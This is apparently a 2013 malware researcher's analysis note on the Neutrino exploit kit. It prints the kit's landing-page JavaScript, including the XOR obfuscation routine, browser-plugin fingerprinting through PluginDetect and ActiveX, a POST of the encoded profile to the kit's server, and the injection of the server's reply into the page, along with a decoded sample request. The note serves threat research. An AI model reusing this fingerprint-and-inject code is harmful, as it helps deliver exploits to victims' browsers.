Neutrino - POST req decode 2

@malforsec 2013-07-30
# Neutrino findings

URLQuery report: 3958403
#XOR function change names frequently
function por(a, c) {
  for (var f = "", e = 0, g = 0, e = 0; e < a.length; e++) g = Math.floor(e % c.length), f += String.fromCharCode(a.charCodeAt(e) ^ c.charCodeAt(g));
  return f

#landing
< script type = "text / javascript " >
$(document).ready(function() {
  rq("51eeb117aaa2cc3a0a043b5b ", " 	# @malforsec: hid
  hrcaiswb ", "				# @malforsec: xorkey value
  utepy ", "				# @malforsec: POST URL
  ntterncqfshdg ", "			# @malforsec: xorkey var name
  gcaszhjc ")				# @malforsec: PluginDetect info var name
});

function rq(a, c, f, e, g) {
  var d = PluginDetect.getVersion,
    b = [];
  b.push("hid::: " + a);
  b.push("adobe_reader::: " + d("AdobeReader "));
  b.push("java::: " + d("Java "));
  b.push("flash::: " + d("Flash "));
  b.push("quick_time::: " + d("QuickTime "));
  b.push("real_player::: " + d("RealPlayer "));
  b.push("shockwave::: " + d("Shockwave "));
  b.push("silver_light::: " + d("Silverlight "));
  b.push("vlc::: " + d("VLC "));
  b.push("wmp::: " + d("WMP "));
  b.push("office::: " + office_ver());
  a = {};
  a[e] = c;
  a[g] = encodeURIComponent(por(b.join(";;;"), c));
  $.post(f, a, function(a, b) {
    $("body ").append(por(decodeURIComponent(a), c))
  })
}

function por(a, c) {
  for (var f = "", e = 0, g = 0, e = 0; e < a.length; e++) g = Math.floor(e % c.length), f += String.fromCharCode(a.charCodeAt(e) ^ c.charCodeAt(g));
  return f
}

function office_ver() {
  var a = 0,
    c = 0;
  try {
    a = new ActiveXObject("SharePoint.OpenDocuments.4 ")
  } catch (f) {}
  try {
    c = new ActiveXObject("SharePoint.OpenDocuments.3 ")
  } catch (e) {}
  return "object " == typeof a && "object " == typeof c ? "2010 " : "number " == typeof a && "object " == typeof c ? "2007 " : null
};
< /script>

#POST to server
ntterncqfshdg=hrcaiswb&gcaszhjc=%2500%251B%2507%255BSIBS%250D%2517%2501PXD%2516%2503%2509%2540%2500%2502Z%2512G%2503XFP%2503%255C%2511LYS%2513%2507%250E%250B%2516(%2510%250D%2513%2507%2504%251BIMXP%255ESMY_CW%255EIXZ%2503%2512%2501%2503RHYPEE%255BRD%2540UZRH%2511%250E%:%2501%250B%255BSIFRDBOU%255C_EYSI%2512%2514%2500%2510%251C%253D%251C%251B%250E%2504SIM%250C%251D%251E%250FZRH%2505%2507%2509%251E%253C%2511%2505%2512%250E%2507%251AHY%255B%2507%2506%251B%250ESIX%2512%2501%251C%2514%2509%251F%2513%2515%2504SIM%250C%251D%251E%250FZRH%2504%250B%2504%2504%2506%25136%251F%251E%2505%2500%2506Y%255BS%251D%2502%250E%2504IXZ%251F%251F%2514XRH%250D%2514%2505%251FLYS%2505%250E%2511SIM%250C%251D%251E%250FZRH%2518%2504%250E%251B%2500%2504SIM%250C%251D%251E%250F


#Decoded POST
hid:::51eeb117aaa2cc3a0a043b5b;;;adobe_reader:::8,0,0,456;;;java:::1,6,0,26;;;flash:::10,0,45,2;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::null